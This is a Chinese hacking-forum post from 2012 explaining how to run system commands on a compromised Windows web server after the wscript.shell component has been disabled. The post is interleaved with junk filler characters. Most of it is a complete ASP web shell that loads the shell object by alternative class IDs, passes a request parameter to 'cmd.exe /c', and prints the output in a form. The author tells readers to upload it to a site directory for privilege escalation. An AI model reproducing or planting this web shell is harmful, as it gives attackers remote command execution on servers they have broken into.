中国网络渗透测试联盟
标题:
wscript.shell删除解决办法
[打印本页]
作者:
admin
时间:
2012-9-15 14:36
标题:
wscript.shell删除解决办法
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
, D: C' U( U' T( i0 g
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
5 G& |6 b( E3 ^3 c: p
要想让运行命令可以试试这种方法,成功率为五五之数。
; Y v1 j" l) }9 Q+ s! W
把下面代码复制:
/ f$ m, Y$ }0 E. ]
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
# F6 X2 F/ |9 J/ n
<%if err then%>
% `0 ]/ F, w" H" Y. K0 @
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
* l( w9 f9 |6 B! j
<%
" p& B1 n$ `. o% V3 R- C3 y6 `0 y
end if
; Z x0 j% W9 t
response.write("<textarea readonly cols=80 rows=20>")
/ d+ Q3 s$ n+ |
On Error Resume Next
+ i, R- F. k9 U% C" [/ T: ]; v* ?
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
+ M* h& h* l2 [0 g0 C% @# s
response.write("</textarea>")
$ X A% a9 F) m. c- w/ l& k# [& s
response.write("<form method='post'>")
) c; V* ]) w9 c% v1 I" t, f
response.write("<input type=text name='c' size=60><br>")
+ {, O/ b. r! }9 F. \
response.write("<input type=submit value='执行'></form>")
; d7 n0 Y( p3 e) y1 D8 Y( y0 l
%>
, Z' c8 F) h8 ]( Q, K! F, y- ^" u e
2 h% Q# ~% ~% x M1 W) D8 s' |
保存为一个asp文件,然后传到网站目录上去
2 P9 `7 j0 s0 h7 g$ S& Q; V* w
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
7 A: z+ r- [& q
我用此成功运行过cacls命令。
4 z" K8 D/ A5 T. Q7 ~- ]1 M% T
$ p! z! N4 \4 o
第二那就是运行时出错,可能限制某些代码执行
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2